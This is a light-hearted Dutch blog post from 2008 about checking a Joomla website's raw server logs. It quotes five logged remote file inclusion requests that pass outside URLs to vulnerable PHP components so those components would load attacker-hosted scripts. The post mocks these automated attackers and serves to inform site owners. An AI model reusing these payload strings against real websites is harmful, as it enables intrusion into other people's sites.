Joomla!, Log files en slechteriken

• Joomla

• maandag, 16 juni 2008 16:52
• Laatst aangepast op maandag, 16 juni 2008 17:55

We zijn niet allemaal in de wieg gelegd om een James Bond, Inspector Frost, of desnoods Barnaby (Midsomer Murders) te zijn.

Ik moet er eigenlijk ook niet aan denken: bijna nooit 's avonds thuis, slechte pensioenopbouw, en vaak vertragingen op vliegvelden etc. Vooral James maakt het wat dat betreft heel erg Bont.

Als je toch de kriebels krijgt: eventueel kun je gaan solliciteren bij de AIVD, ze zoeken nog mensen, maar wat nog makkelijker is, is de raw logs van je eigen website eens gaan uitpluizen. Dat heb ik James Bond nog nooit zien doen, die kan alleen een beetje met een pistool schieten, auto's laten ontploffen met zijn uitschuifbare schoenzool, en een beetje mailtjes versturen. Dat kan beter.

Veel web hosters geven je de kans de raw logs (door de webserver gegenereerde log-files met gedetailleerde informatie over alle http-requests) te downloaden via ftp, en als je de extensie van het bestand even in .csv verandert, kun je het makkelijk in een spreadsheet programma inlezen, sorteren etc. Je reist dan gratis de hele wereld over en je kunt zien dat bad guys geprobeerd hebben je Joomla!-site te hacken. Een overzicht van één dag:

Deze moet het nog leren:

GET //includes/ktedit/toolbar.php?dirDepthhttp://www.goldircd.cc/s0ft/mc??? HTTP/1.1

Deze slechterik snapt het al iets beter:

GET //index2.php?mosConfig_absolute_path=http://www.sv-hbc.nl/db/cgi/idscan6?? HTTP/1.1

Deze dacht dat ik Drupal had geïnstalleerd en zou nog terugbellen. In ieder geval weet ik nu dat hij Hubert heet. Taktik Shooter? My *ss. Keep trying, Huubje, ik gebruik geen Drupal (nog niet, kom later eens terug):

GET /drupal/?_menu[callbacks][1][callback]=http://www.taktikshooter.com/hubert/extern/layout/wing.jpg?? HTTP/1.1

Deze hoopte dat ik Jreactions had geïnstalleerd. Tip: het is Jreaction, zonder de s dus.

GET /joomla//administrator/components/com_jreactions/langset.php?comPath=http://piti.max.io/id.gif? HTTP/1.1

En nee, custumpages heb ik ook al niet geïnstalleerd:

GET /joomla/index.php?option=com_custompages&cpage=http://www.dichotomy.com.au/tmp/id.txt? HTTP/1.1

Ach ze doen maar. Vaak is het niet eens handwerk maar staan er servers volledig geautomatiseerd te zoeken naar lekken in websites.

Joomla! stond eens bekend om zijn onveiligheid, maar dat is verleden tijd, en trouwens, dat werd vaak niet veroorzaakt door Joomla! zelf maar door de vele onveilige extensies die er in elkaar geklust werden (worden).